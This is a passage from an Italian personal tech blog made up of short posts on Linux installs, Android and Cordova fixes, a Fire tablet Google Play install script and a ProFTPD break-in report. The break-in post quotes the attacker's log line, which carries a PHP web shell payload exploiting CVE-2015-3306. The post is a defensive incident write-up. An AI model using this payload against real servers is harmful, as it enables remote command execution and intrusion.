mercoledì 20 gennaio 2016

Debian su ToughBook CF-18


Ho preso, per l'uso in campagna (dopo aver rischiato di perdere un Lenovo X202 per l'umidita'), un vecchio Panasonic ToughBook CF-18 ed invece di montare Windows XP ho provato a vedere come reagiva con una Debian moderna (tempo fa avevo provato un Panasonic FZ-A1 che fa parte della stessa famiglia)

La cosa che mi preoccupava di piu' era il riconoscimento del digitalizzatore (non ho preso il modello a touchscreen ma quello che funziona solo con il suo pennino)


In realta' non ho dovuto fare molto perche' il digitalizzatore e' riconosciuto subito dal sistema di installazione di Debian senza nessuna configurazione

Mi ha dato un po' piu' da penare la scheda wireless, una Intel Pro Wireless 2200. Dopo l'installazione ho abilitato i repository non-free  caricato il firmware

apt-get install firmware-ipw2x00
ma in ifconfig nessuna traccia del dispositivo. Leggendo i log di sistema non c'erano errori del caricamento del modulo

La soluzione e' chiamare il comando iwconfig dove si vede che il dispositivo viene chiama eth1 e non wlan0 come mi sarei aspettato



Fatto cio' ho pouto configurare a mano il Network Manager di Lxde (che non riconosce in automatica le schede wireless) e potuto iniziare ad usare il dispositivo (veramente solido ma con una tastiera ed un trackpad da bambino di 10 anni)


martedì 19 gennaio 2016

Sostituire batteria su Moto E

Come il suo fratello maggiore Moto G, anche il Moto E non ha la batteria sostituibile perche' e' bloccata dalla scocca.

Purtroppo il tempo di vita della batteria EL40 e' stato inferiore ai due anni ed invece di ricomprare un altro telefono ho provato la sostituzione. Mi sono comprato su un ecommerce cinese un set di attrezzi per smontare il telefono ma le chiavi si sono mostrate sbagliate

Ho notato che lo chassis che blocca la batteria e' costituito da una sottile lamina di plastica (al contrario del Moto G dove la batteria e' completamente bloccata)




Con molta calma ed agendo dal basso verso l'alto (non e' una buona idea bucare il contenitore di una batteria LiPo) ho tagliato la plastica su uno dei due bordi ed alzato il coperchio


Il connettore della batteria e' a soli due contatti ed e' a pressione.
10 minuti di lavoro e 10 euro di batteria ed il telefono e' tornato funzionante

lunedì 18 gennaio 2016

Gradle error

Oggi compilando, senza modifiche, un progetto Android Studio che fino a due giorni fa funzionava ho avuto l'errore

Plugin is too old, please update to a more recent version, or set ANDROID_DAILY_OVERRIDE environment variable to "efdc9743630b8ba5a00eaeaa1375fff7cdb0e3cb"


la soluzione e' piuttosto nascosto e si deve aggiornare la stringa

classpath 'com.android.tools.build:gradle:2.0.0-alpha2'

a

classpath 'com.android.tools.build:gradle:2.0.0-alpha3'
in build.gradle di CordovaLib ed in build.gradle di Android

mercoledì 13 gennaio 2016

FTP exploit CVE-2015-3306 su Ubuntu 14.04 LTS

Frugando su un server che non amministro direttamente e' stata trovata questa stringa ed e' ovviamente scattato l'allarme generale

proftpd: 31.131.56.168:57602: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
dopo una breve verifica e' stata trovato il file di configurazione di Wordpress copiato in una directory leggibile del sistema (wp-contente/themes) ed e' stato chiara la compromissione

analizzando i log di ProFtpd erano presenti nell'ultimo mese solo due accessi di pochi secondi dall'ip sopra indicato (che corrisponde ad un indirizzo polacco...avrei scommesso qualsiasi cosa su Cina e Russia) a testimoniare che l'ospite e' andato a colpo sicuro (forse uno script kiddie)

La macchina in esame era una Ubuntu 14.04 LTS (non aggiornata perche' non era stato impostato il DNS giusto ma vedremo che cio' non ha influito) con montato ProFtpd 1.3.5rc3

Consultando questo link
https://www.exploit-db.com/exploits/36742/
si vede che la versione installata permette l'esecuzione di copia di comandi anche ad utenti non autenticati (mi sembra di essere tornato indietro di 10-12 anni ai tempi di Red Hat 7..)

il codice Php e' una shell Php


Attacchi praticamente identici sono descritti a questo link

A questo punto basta fare un update/upgrade per scaricare la versione patchata del server ftp e si va avanti...peccato che Ubuntu 14.04 non abbia nella lista degli aggiornamenti il server ProFtpd patchato
Guardando meglio a questo link
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3306.html
si vede che le versioni del 2015 sono immuni dal problemi mentre la 14.04, benche' sia una LTS e' vulnerabile


per quanto riguarda Debian la versione 7 ha nei repository la versione 1.3.4 (vecchiotta ma sembra esente da problemi di exploit mentre la versione 8 monta la 1.3.5.1 patchata
da questo link si evidenzia che Debian e' esente dal problema https://security-tracker.debian.org/tracker/CVE-2015-3306


Lunga vita a Debian

martedì 12 gennaio 2016

Remix OS 2.0

Doveva uscire oggi la realease pubblica di Remix OS 2.0, una versione a finestra di Android nata per l'ambiente desktop....nonostante le attese pero' non ci sono novita' sul sito ma  frugando su Internet ho trovato una ISO del 30/12/2015 (2 Giga circa, 700 Mb compressi) scaricabile da Google Drive (qualche ora dopo anche il sito ufficiale e' comparsa la versione alpha da 700 Mb con incluso il programma per creare la penna USB avviabile)..la versione ufficiale alpha risulta essere piu' stabile e veloce

Non volendomi giocare un computer ho provato il sistema su Virtualbox (su VMWare non sembra partire)

L'unica accortezza e' quella, al boot, di premere Tab ed agguingere vga=791 per configurare la scheda video
La barra verde e' un errore grafico,cliccandoci sopra diventa nera con il bordo superiore verde
Il sistema puo' funzionare in Guest Mode (avviabile da chiavetta) o Resident Mode (installazione su HD)

Le prime impressioni da utente Android non sono esaltanti piu' che altro perche' il sistema e' molto lento in modo virtualizzato
il sistema a finestra funziona ma non e' presente per tutte le applicazioni (alcune si aprono a tutto schermo e sembra possibile solo minimizzarle)
Dai Settings si osserva che il sistema si basa su Android 5.1.1 e Android_x86_64 bit 4.0.9 ed e' presente un file manager

lunedì 11 gennaio 2016

Compilare Apache/Cordova sotto Android Studio/IOS

Per compilare i progetti Cordova su Android ed IOS di solito faccio creare lo scheletro del  codice  a Cordova ma poi intervengo con Android Studio e XCode per le modifiche

Android
Per prima cosa si devono modificare i file

build.gradle  Module:CordovaLIb
build.gradle Module:android

sostituendo mavenCentral() con jcenter()
e risincronizzando il progetto (altrimenti non si compila)




IOS
Un aspetto fastidioso di Cordova su IOS e' che la WebView fa a corprire parte della statusbar.
Per evitare cio' la cosa piu' semplice e' nascondere la status bar aggiungendo a MainViewController.m la funzione

- (BOOL)prefersStatusBarHidden { return YES; }

Pinch to Zoom
Sia la rotazione del display che il pinch to zoom non sono abilitati di default in Cordova (e questo puo' essere molto fastidioso per utenti mobile abituati a questa funzionalita' praticamente ovunque)


Android

In Android devono essere aggiunta alla MainActivity le righe evidenziate in giallo

------------------------------

import android.os.Bundle;import org.apache.cordova.*;import android.webkit.WebSettings;
import android.webkit.WebView;


public class MainActivity extends CordovaActivity
{
    @Override    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        // Set by <content src="index.html" /> in config.xml        loadUrl(launchUrl);        WebView webView = (WebView) appView.getEngine().getView();
        WebSettings ws = webView.getSettings();
        ws.setSupportZoom(true);
        ws.setBuiltInZoomControls(true);
    }
}

------------------------------

IOS
In Ios si deve modificare il file config.xml in modo da abilitare il ViewPortScale

<platform name="ios">
        <allow-intent href="itms:*" />
        <allow-intent href="itms-apps:*" />
        <preference name='EnableViewportScale' value='true'/>
        <preference name='Orientation' value='all'/>
</platform>

fra le altre cose nel medesimo file si puo' abilitare anche l'Orientation 

venerdì 8 gennaio 2016

PlayStore su FireOS

Ho comprato per i bambini un tablet Amazon da 7 pollici per avere troppi pensieri se veniva distrutto in poco tempo dato il costo di circa 60 euro



Non avevo fatto il conto sul tablet Amazon non gira Android ma FireOS, fortemente derivato da Android ma senza i servizi Google, primo tra tutti Google Play

In realta' e' piuttosto semplice installare Google Play sul dispositivo seguendo le indicazioni a questo link
http://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/
il pacchetto .zip e' nato per Windows ed e' ridondante perche' se uno ha gia' i driver usb e adb e' piuttosto semplice farne a meno di molte cose


leggendo il file .bat e' piuttosto semplice capire che non c'e' bisogno di exploit per installare Google Play su FireOS..basta copiare ed installare gli apk di Google Play (non sono nemmeno necessari i permessi di root)..vedi righe evidenziate in giallo per l'installazione di Google Play ed azzurro per la rimozione dei servizi Amazon

Fra l'altro lo script permette anche di rimuovere gli aggiornamenti OTA e la ricezione delle offerte Amazon (ma cio' e' vietato se si e' acquistato il dispositivo a prezzo scontato a 59.99 euro al posto di 79.99 euro)

Fra le altre cose, nonostante il costo ridotto, il tablet e' una bella macchinetta anche abbastanza veloce che puo' valere la pena di avere
------------------------------------------------------
::visit Rootjunky.com

::Set our Window Title
@title Amazon Fire Tablet Tool

::Set our default parameters
@echo off
color 0b



:menuLOOP

call:header
::Print our header
::call:header

::Load up our menu selections
echo.--------------------------------------------------------------------------------
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":menu_" "%~f0""') do echo.  %%B  %%C

call:printstatus

set choice=
echo.&set /p choice= Please make a selection or hit ENTER to exit: ||GOTO:EOF
echo.&call:menu_%choice%

GOTO:menuLOOP

:menu_1    ADB Driver Install                 
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo[*] This option will run a program to get your adb drivers
echo[*] installed for your Amazon Fire Tablet exit program when done
echo.--------------------------------------------------------------------------------
echo.
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":driver_" "%~f0""') do echo.  %%B  %%C
set choice=
echo.&set /p choice= Please make a selection then hit ENTER:
echo.&call:driver_%choice%
color 0b
cls
GOTO:EOF

:driver_1 ADB driver install
cls
color 0b
echo.--------------------------------------------------------------------------------
echo [*] Before continuing, ensure USB debugging is enabled
echo [*] in your Amazon fire 5th gen settings 
echo [*] go to device options then click on serial number 7 times to enable 
echo [*] developer options then in developer options turn on Enable adb option.
echo [*] MAKES SURE YOUR ANTI VERUS IS OFF. 
echo.--------------------------------------------------------------------------------
echo [*] press any key to start adb driver install
pause >nul
echo.--------------------------------------------------------------------------------
start devmgmt.msc
echo [*] Device Manager should open up wait for it. 
echo [*] Find Amazon Fire and right click on it. 
echo [*] Select Properties then Update Driver 
echo [*] "Browse My Computer For Driver Software" 
echo [*] "Let Me Pick from a List of Device Drivers on my Computer
echo [*] choose Have Disk
echo [*] Browse to the usb_drivers fold that is in this tool
echo [*] then click Next NOTE drivers are not signed this is fine. 
echo [*] once installed ADB should find the Amazon Fire Tablet.
echo.--------------------------------------------------------------------------------
echo [*] please run the driver test to make sure drivers work before installing apps
echo.--------------------------------------------------------------------------------
pause
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF

:driver_2  ADB Driver Test
cls
color 0b
adb kill-server
adb start-server
echo [*] Press any key to check if your drivers are installed
echo [*] correctly. 
echo.--------------------------------------------------------------------------------
pause > nul
echo.--------------------------------------------------------------------------------
echo [*] Is there a device listed under list of devices attached?
echo [*] If no then reboot computer and run the driver install option 
echo [*] again then recheck
echo [*] If device serial number listed then drivers are installed.
echo [*] Press any key to continue
echo.--------------------------------------------------------------------------------
adb devices
pause > nul
adb kill-server
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF


:menu_2 Install Google Play store and remove ads from lock screen
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
echo [*] Installing Google Play Store apps this will take some time
echo.--------------------------------------------------------------------------------
echo [*] Installing app 1 of 4
adb install com.google.android.gms-6.6.03_(1681564-036)-6603036-minAPI9.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 2 of 4
adb install GoogleLoginService.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 3 of 4
adb install GoogleServicesFramework.apk
adb shell pm grant com.google.android.gms android.permission.INTERACT_ACROSS_USERS
echo.--------------------------------------------------------------------------------
echo [*] Installing app 4 of 4
adb install com.android.vending-5.9.12-80391200-minAPI9.apk
adb shell pm hide com.amazon.kindle.kso
cls
echo [*] all apps installed and permissions set.
echo [*] Also removed the ads from your lock screen.. your welcome
echo [*] please reboot device to fully remove ads then sign into Play store
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_3 block OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm hide com.amazon.otaverifier
adb shell pm hide com.amazon.device.software.ota
adb shell pm hide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been blocked to protect root
echo [*] and keep Amazon from patching our exploits 
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_4 unblock OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm unhide com.amazon.otaverifier
adb shell pm unhide com.amazon.device.software.ota
adb shell pm unhide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been unblocked
echo [*] and amazon can now auto update your device.
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF



:header  
cls        
color 0e
echo.[////////////////////////////      //////////            //////////////////////]                                                                           
echo.[///////////////////////////  ///   //////////////  ///////////////////////////]                                                                            
echo.[//////////////////////////  ////  //////////////  ////////////////////////////]                                                                    
echo.[/////////////////////////  //   ///////////////  /////////////////////////////]                                       
echo.[////////////////////////  ////  /////////  ///  //////////////////////////////]                                  
echo.[///////////////////////  //////  /////////    ////////////////////////////////]
echo.            RootJunkys Amazon Fire Tablet Google Play store Install
echo.             Huge thanks to SD-Shadow for his work on this device.
echo.--------------------------------------------------------------------------------
echo.
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
adb devices
timeout 5 > nul
adb kill-server
cls
color 0b
GOTO:EOF

:printstatus
echo.
echo. Lets Do This...
echo.--------------------------------------------------------------------------------

GOTO:EOF

------------------------------------------------------

E' possibile fare anche il root del dispositivo come indicato qui
http://rootjunkysdl.com/?device=Amazon%20Fire%205th%20gen&tag=823814-20
ma il modo in cui viene effettuato non e' cosi' banale come nel caso sopra presentato

giovedì 7 gennaio 2016

Scrivere file con Cordova su Android Studio/XCode

Con Apache Cordova e' possibile scrivere dati sulla memoria del dispositivo mobile ma, a causa delle enormi differenze della gestione dello storage nei vari sistemi operativi, non e' possibile avere una soluzione unica ma si devono effettuare adattamenti ad hoc

Per prima cosa si deve aggiungere il plugin File con il comando

cordova plugin add org.apache.cordova.file
IOS
Il filesystem in IOS ovviamente non viene esposto e lo scambio dati avviene solo tramite ITunes



Il progetto Xcode di Cordova deve essere modificato come segue

1) deve essere aggiunto una chiave file info.plist
Application supports Itunes file sharing = YES
(UIFileSharingEnabled = YES)


2) deve essere aggiunto al file config.xml (dopo gli allow) il seguente codice
-------------
    <feature name="File">
        <param name="ios-package" value="CDVFile" />
    </feature>
    <feature name="FileTransfer">
        <param name="ios-package" value="CDVFileTransfer" />
    </feature>
    <preference name="iosPersistentFileLocation" value="Library" />
    <preference name="BackupWebStorage" value="local" />
-------------

3) il codice HTML5 deve essere leggermente modificato rispetto agli esempi di Cordova (in particolare si deve puntare sulla directory Documents che su IOS e' persistente ed in lettura/scrittura. Per un esempio si puo' leggere anche questo post
-------------
/* globals console,document,window,cordova */
document.addEventListener('deviceready', onDeviceReady, false);

var logOb;

function fail(e) {
    console.log("FileSystem Error");
    console.dir(e);
}

function onDeviceReady() {
    
    window.resolveLocalFileSystemURL(cordova.file.documentsDirectory, function(dir) {
                                     console.log("got main dir",dir);
                                     dir.getFile("log.txt", {create:true}, function(file) {
                                                 console.log("got the file", file);
                                                 logOb = file;
                                                 writeLog("App started");
                                                 });
                                     });
    
    document.querySelector("#actionOne").addEventListener("touchend", function(e) {
                                                          //Ok, normal stuff for actionOne here
                                                          //
                                                          //Now log it
                                                          alert("tasto 1");
                                                          writeLog("actionOne fired");
                                                          }, false);
    
    document.querySelector("#actionTwo").addEventListener("touchend", function(e) {
                                                          //Ok, normal stuff for actionTwo here
                                                          //
                                                          //Now log it
                                                          alert("tasto 2");

                                                          writeLog("actionTwo fired");
                                                          }, false);
    
}

function writeLog(str) {
    if(!logOb) {
        alert("errore write log");
            return;
            }
    var log = str + " [" + (new Date()) + "]\n";
    console.log("going to log "+log);
    alert("Luca");
    logOb.createWriter(function(fileWriter) {
                       
                       fileWriter.seek(fileWriter.length);
                       alert("Luca");
                       
                       var blob = new Blob([log], {type:'text/plain'});
                       fileWriter.write(blob);
                       console.log("ok, in theory i worked");
                       }, fail);
}

function justForTesting() {
    logOb.file(function(file) {
               var reader = new FileReader();
               
               reader.onloadend = function(e) {
               console.log(this.result);
               };
               
               reader.readAsText(file);
               }, fail);
    

}
-------------


Android

Su Android le cose sono decisamente piu' semplici

si dichiara in config.xml che si vuole usare il plugin
-------------
<feature name="File">
<param name="android-package" value="org.apache.cordova.FileUtils" />
</feature>
<feature name="FileTransfer">
<param name="android-package" value="org.apache.cordova.FileTransfer" />
</feature>
-------------

Si settano in permessi di scrittura in AndroidManifest.xml
-------------
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-------------

Di nuovo il codice HTML5 dell'esempio di Cordova in cui e' evidenziata in giallo la modifica per Android
-------------
/* globals console,document,window,cordova */
document.addEventListener('deviceready', onDeviceReady, false);

var logOb;

function fail(e) {
console.log("FileSystem Error");
console.dir(e);
}

function onDeviceReady() {

window.resolveLocalFileSystemURL(cordova.file.externalRootDirectory, function(dir) {
console.log("got main dir",dir);
dir.getFile("log.txt", {create:true}, function(file) {
console.log("got the file", file);
logOb = file;
writeLog("App started");
});
});

document.querySelector("#actionOne").addEventListener("touchend", function(e) {
//Ok, normal stuff for actionOne here
//
//Now log it
writeLog("actionOne fired");
}, false);

document.querySelector("#actionTwo").addEventListener("touchend", function(e) {
//Ok, normal stuff for actionTwo here
//
//Now log it
writeLog("actionTwo fired");
}, false);

}

function writeLog(str) {
if(!logOb) return;
var log = str + " [" + (new Date()) + "]\n";
console.log("going to log "+log);
logOb.createWriter(function(fileWriter) {

fileWriter.seek(fileWriter.length);

var blob = new Blob([log], {type:'text/plain'});
fileWriter.write(blob);
console.log("ok, in theory i worked");
}, fail);
}

function justForTesting() {
logOb.file(function(file) {
var reader = new FileReader();

reader.onloadend = function(e) {
console.log(this.result);
};

reader.readAsText(file);
}, fail);

}
-------------

giovedì 31 dicembre 2015

Linux in ChormeOS con Crouton

Dopo aver installato ChromeOS su Samsung N150 (ed averne notato i limiti) ho provato ad usare crouton, un metodo per mettere in esecuzione Linux su ChromeOS dentro un chjail

Dato che non si tratta di un vero hardware Chromebook non e' stato necessario entrare in modalita' Developer

Linux in esecuzione su ChromeOS

Per installare crouton si procede scaricando lo script al seguente indirizzo https://goo.gl/fd3zc
Si digita da dentro il browser CTRL+ALT+T che apre una crosh shell. Si digita quindi

shell

e si lancia lo script

sudo sh ~/Downloads/crouton -t xfce -t core -t cli-extra
(la password e' password su ChromiumOs)

in questo modo viene lanciata l'installazione che dura oltre mezz'ora e che installa una Ubuntu Precise Pangoline con XFCE come desktop. Al termine dell'installazione vengono richiesti username e password dell'utente Ubuntu

sudo sh ~/Downloads/crouton -t xfce -t core or -t cli-extra

al termine ho provato a lanciare X con il comando
sudo startxfce4
ma ho ricevuto l'errore di No Screen Found. Questo e' un problema che si riscontra anche sui veri Chromebook. Su Internet ci sono molte soluzioni proposte ma nessuna ha funzionato
Ho quindi digitato
sudo startcli
e mi sono ritrovato nella shell di Ubuntu

Per spostarsi da Linux a ChromeOS si dovrebbe usare la combinazione ctrl+alt+shift+function+f1/f2 ma per me la combinazione non ha funzionato (cui veri Chromebook ci sono due tasti speciali che svolgono questa funzione)

Per montare il solo chroot si puo' digitare
sudo enter-chroot

Debris Flow con OpenPIV

Ogni tanto mi ricordo di aver una laurea (ops..un dottorato) in geologia e cerco di applicare qualche idea piu' strettamente informatica al campo geologico.

Un amico vulcanologo (Sebastien Valade) mi ha mostrato un sistema per calcolare il campo di velocita' di un flusso di lava semplicemente da una immagine ottica di una comune telecamera.Mi si e' accesa una lampadina che la stessa cosa poteva essere applicata anche alle frane ed in particolare ai debris flow

La teoria che sta dietro all'interpretazione delle immagini rientra nella categoria del Particle Image Velocimetry (qui la pagina wikipedia) . In estrema sintesi vengono ricercate le porzioni omologhe di due fotogrammi vicini nel tempo per calcolare il campo del vettore spostamento..detto cosi' e' banale ma la pratica e' decisamente differente

Per prova ho preso da Youtube una decina di fotogrammi di questo filmato che ritrare un debris flow in Cancia il 25 luglio 2015


Debris flow Cancia (Italy) 23/07/2015

I fotogrammi sono stati presi scaricando il video in formato mp4 da Youtube mediante una estensione di Firefox e poi avanzando fotogramma per fotogramma (tasto E)  e salvando il frame (Shif+S) con VLC 

I frame sono distanziati di due secondi 

Ho provato ad elaborare i frame per coppie successive (1-2, 2-3,3-4) con il primo esempio di tutorial in Python di OpenPIV

oppure usando un programma in Matlab (decisamente piu' complesso e completo) chiamato PIVLab


Non e' stata fatta alcuna calibrazione sul valore vero della velocita', si tratta solo di una prova di fattibilita' e, specialmente nel secondo caso, sembra funzionare

So long and thanks for all the fish

Grazie per aver contribuito a creare la "palestra" in cui ho imparato un po' di informatica

Ian Murdock (1973-2015), fondatore di Debian

mercoledì 30 dicembre 2015

OpenPIV su Ubuntu 15.10

OpenPIV e' un sistema di analisi di immagini che permette di calcolare il campo di velocita' di un sistema di particelle




per l'installazione su Ubuntu 15.10 si devono risolvere prima alcune dipendenze

apt-get install python-progressbar
apt-get install python-pip
apt-get install python-scipy
apt-get install python-numpy
apt-get install cython
pip install scikit-image (altrimenti apt-get install python-skimage)

dopo cio' si scarica il sorgente da GitHub  e si lancia l'installazione con il classico

python setup.py install

al momento di lanciare il primo esempio (tutorial-part1.py) sono incorso in un errore in fase di importazione del modulo filters di skimage. La soluzione e' piuttosto semplice: il modulo skimage ha modificato il nome del sottomodulo filters in filter (senza la s finale)


/usr/local/lib/python2.7/dist-packages/OpenPIV-0.20.1-py2.7-linux-x86_64.egg/openpiv/preprocess.py
/usr/local/lib/python2.7/dist-packages/OpenPIV-0.20.1-py2.7-linux-x86_64.egg/openpiv/tools.py

basta andare a modificare i file sotto indicati e modificare togliendo la s finale alla riga dell'import
from skimage.filter import....

e tutto inizia a funzionare

martedì 29 dicembre 2015

Progess bar su dd

Un aspetto noioso del comando dd e' quello di non avere una modalita' verbose e quando si copia una immagine (da 8 Gb per esempio) non si sa mai se il comando sia procedendo o si e' bloccato qualcosa

Una semplice soluzione e' installare pv (non e' presente di default su Debian ed Ubuntu) che permette di creare una progress bar sulla shell. L'uso del comando e' il seguente dove immagine.img e' il file che si deve copiare e /dev/sdb il dispositivo su cui copiarlo (in questo caso una chiavetta USB sul mio sistema)

pv -tpreb immagine.img | dd of=/dev/sdb bs=64M

ChromeOS/ChromiumOS su Samsung N150

Era un po' di tempo che volevo provare ChromeOS ma non conosco nessuno che abbia un ChromeBook e non ho voglia di spendere tra 200-300 euro per un portatile sottodimensionato


Ho quindi tirato fuori dal cassetto il mio vecchio Samsung N150  (un ultraportatile del 2010 piuttosto plasticoso) per installare ChromiumOS, la versione compilata partendo dai sorgenti e che puo' essere scaricata da questo link

Al primo tentativo ho scaricato la piu' recente daily build ma all'avvio del sistema da USB non erano funzionanti ne' il trackpad (poco male) ne' la wifi (molto male). Leggendo nel sito ho scoperto che le build daily e weekly hanno inclusi i driver solo per un limitato numero di dispositivi. Per questo motivo ho scaricato la special build del 31 Ottobre ed il sistema ha iniziato a funzionare (e' necessaria chiave USB da almeno 8 Gb)

Una volta effettuato il login con le credenziali di Google si puo' iniziare con l'installazione su disco fisso entrando nella shell di amministrazione con la combinazione CTRL+ALT+F2

L'username di default e' chronos mentre la password di default e' default. Si cambia mediante
chromeos-setdevpasswd

A questo punto ci si puo' elevare con sudo su (si vede che cambia il prompt della shell)
Come indicato dalle istruzioni a video si deve disabilitare powerd in fase di installazione con
initctl stop powerd

Per copiare l'immagine si deve usare il comando
chromeos-install --dest /dev/sda (attenzione al doppio segno meno)

durante questo fase (piuttosto lunga) mi sono stati generati numerosi errori gpt header is invalid ma cio' non ha impedito il termine dell'operazione (sembra che sia qualcosa relativo alla mancanza della partizione di backup, che e' presente sui veri ChromeBook, ma non posso confermare)

Oltre alcune applicazioni nativi si possono utilizzare applicazioni desktop normali medianti servizi come rollApp che rendono disponibili programmi open come Gimp, OpenOffice, Inkscape)



Il file manager si apre con la combinazione Alt+Shift+M e si possono montare anche chiavette USB

Vantaggi

  • Con mia grande sorpresa mi sono trovato lo spazio Google Drive di 211 Gb. Questo spazio e' disponibile e visibile da ChromeOS ma e' differente da quello di Google Drive (che mi mostra sempre un valore disponibile di 17 Gb). Stando a quanto scritto da Google lo spazio disco dovrebbe essere gratuito per due anni


Svantaggi

  • E' necessario utilizzare il sistema su una macchina recente e ben dotata di RAM. Sul Samsung N150 il sistema e' piuttosto lento
  • Non credo che mi abituero' mai ad avere i dati sul cloud
  • Utilizzando un disco a piatti rotanti e non un SSD, il sistema e' piuttosto lento a partire annullando la comodita' di avere un desktop subito pronto (tanto per dire Windows 10 e Ubuntu 15.10 su SSD sono molto piu' veloci al boot rispetto a ChromeOS su disco fisso classico)
  • Le applicazioni non sono molto interessanti. Se devo usare RollApp per usare Gimp preferisco averlo direttamente installato sulla macchina
  • Non ci sono compilatori disponibili
  • Non esiste di fatto un disco locale. Il disco fisso viene visto come cartella Downloads ma c'e' il problema che viene trattato come una grande cache, il sistema operativo puo' cancellare in qualunque momento e senza preavviso i file se ne ha necessita' 
  • Nel mio sistema non risulta disponibile la connessione via cavo di rete

LLama3 Anita

A seguito di questo post ho provato a vedere ho provato a vedere cosa accadeva ad utilizzare un modello specifico per la lingua italiana in...